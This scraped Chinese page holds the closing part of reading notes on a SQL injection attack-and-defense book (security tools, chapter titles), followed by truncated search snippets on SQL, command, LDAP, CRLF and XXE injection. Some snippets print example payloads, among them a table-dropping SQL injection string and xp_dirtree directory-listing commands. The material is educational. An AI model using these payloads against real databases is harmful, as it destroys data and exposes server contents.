        4. LAPSE 帮助用户审查javaEE应用并寻找web应用中常见的安全漏洞类型。是eclipse的一个插件,能够识别受感染的源和渗入点,另外还能映射源和渗入点之间的路径。
        5. SWAAT 扫描源代码漏洞。     
        6. Microsoft SQL 注入源代码分析器 静态代码分析工具,用于发现ASP代码中的SQL注入漏洞。
        7. CAT.NET 代码分析工具 二进制代码分析工具。用于识别某些流行漏洞中常见的变量。
        8. Ounce 
        9. Fortify 源代码分析器  静态分析工具,能够处理代码并尝试识别漏洞。
       11. CodeSecure 

    捷径:
                1.复查源代码中的SQL注入
                2.自动复查源代码





    第4章  利用SQL注入


    第5章  SQL盲注利用


    第6章  利用操作系统


    第7章  高级话题


    第8章  代码层防御


    第9章  平台层防御


    第10章  参考资料






    注:
            SQL注入攻击与防御 SQL Injection Attacks and Defense        Justin Clarke等著  黄晓磊 李化译    清华大学出版社  2010.6


    展开全文
  • 首先你要明白什么是SQL注入攻击 SQL注入式攻击技术,一般针对基于Web平台的应用程序.造成SQL注入攻击漏洞的原因,是由于程序员在编写Web程序时,没有对...SQL注入攻击原理:程序命令和用户数据(即用户输入)之...
  • SQL注入攻击防御详解

    千次阅读 2020-04-11 11:36:03
    SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地 过滤用户输入的数据,致使非法数据...
  • 系统命令注入的介绍代码防御

    万次阅读 2016-10-07 15:23:00
    0x01 介绍  该软件使用受外部影响的输入来构造操作系统命令的全部或一部分,但未能对可能修改所需操作系统命令的...反过来说,如果该弱点发生在特权程序中,攻击者有可能能够指定通常不可访问的命令,或者通
  • 声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。 文章来源:... 如何编写安全代码?保护自己免受注入攻击! 我已经在这个问题上工作了好几个月,试图理解是什么让代码变得脆...
  • 1-Web安全——命令执行注入攻击

    千次阅读 2020-09-06 20:44:12
    1. 系统命令执行 通常在程序开发过程中,应用程序需要调用一些外部程序时会用到一些系统命令相关函数。 例如在linux系统中,shell解释器就是用户和系统进行交互的一个接口,对用户的输入进行解析并在系统中执行。...
  • LDAPLDAP简介LDAP注入攻击web应用中的LDAP注入AND注入OR注入盲注入LDAP注入的防御 LDAP简介 1、定义:LDAP是一个轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询。 2、特性:LDAP不...
  • PHP SQL注入攻击与防御

    千次阅读 2018-03-22 20:31:00
    PS:下章节我会就XSS/CSRF写一篇...具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是...
  • 系统命令注入攻击也是一种古老的攻击手段,是指黑客可以在有漏洞的页面地址栏中直接执行操作系统命令。下面将来演示这种攻击的实现方式,以及如何配置WAF进行拦截,实验环境仍然使用NPMserv搭建。 打开网站,在地址...
  • 获取文件信息,可以列举出目录下所有的文件文件夹 参数说明:目录名,目录深度,是否显示文件  execute master..xp_dirtree 'c:'  execute master..xp_dirtree 'c:',1  execute master..xp_dirtree...
  • 一.SQL注入攻击原理 恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。   二.SQL注入攻击...
  • 大多Web应用都要数据库交互, 大多数的Web编程语言也提供可编程的方法来数据库交互, 如果未对用户可控的键值过滤,就带入数据库运行,那么极有可能产生SQL注入 自SQL数据库应用于Web应用时, SQL注入就已存在, ...
  • 要使你的应用程序不受CRLF注入攻击,需要你保持与防御SQL注入攻击等其它类型的注入攻击一样的警惕性:永远不要相信输入的内容!在你控制范围以外的任何来源的输入内容都必须要进行检查,在你的应用程序对数据执行操作...
  • 当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个字符串,将造成代码注入漏洞。 代码执行函数: 在php中:eval,assert,preg_replace(‘/*/e’, 'ret="1";′,ret = "\\1";',ret="1";...
  • Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统...
  • 为SQL注入攻击与防御第二版读后感 第一章 SQL注入产生过程: 1.字符处理不当  '作为分界线。 2.类型处理不当  数字型,没加单引号,直接可继续执行命令。 LOAD_FILE, SELECT INTO OUTFILE 3.查询语句...
  • OpenSSH_8.3-命令注入漏洞攻击与修复

    千次阅读 多人点赞 2020-10-23 12:05:08
    OpenSSH_8.3及以下-命令注入漏洞攻击与修复 2020年6月9日发现漏洞,2020年7月18日公开漏洞。 攻击原理 使用SCP中远程功能进行命令注入。 漏洞复现要求 OpenSSH版本 =<8.3p1 ssh连接密码 攻击环境 攻击方:kali:...
  • XXE(XML实体注入攻击介绍与防御

    千次阅读 2019-05-14 01:14:12
    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、...
  • 1 项目实验环境 测试渗透机:kali_linux-2020 链接:https://pan.baidu.com/s/1apN96nIcs1Fyx8YmFs24Xg 提取码:32ve 目标靶机:owasp_Broken_Web_Apps ...SQL注入攻击指的是通过构建特殊..
  • 原文地址 web常见攻击二——命令注入攻击(Command Injection Execution) 这是最不安去的代码
  • 操作数据库或执行SQL注入时最长碰到的SQL语句是SELECT,INSERT,UPDATE,CRATE,UNION SELECT和DELETE.1.SELECT语句SQL命令以分号“;”结束执行,不区分大小写。 SELECT * FROM tblUsers; 返回tbusers表中的所有数据...
  • 注入攻击的本质:把用户输入的数据当做代码执行 条件1:用户可以控制输入; 条件2:代码拼接了用户输入的数据 最简单的恶意输入:beijing';drop table orderstable-- 如果web服务器开启了错误回显,将利于...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,916
精华内容 3,566
关键字:

命令注入攻击与防御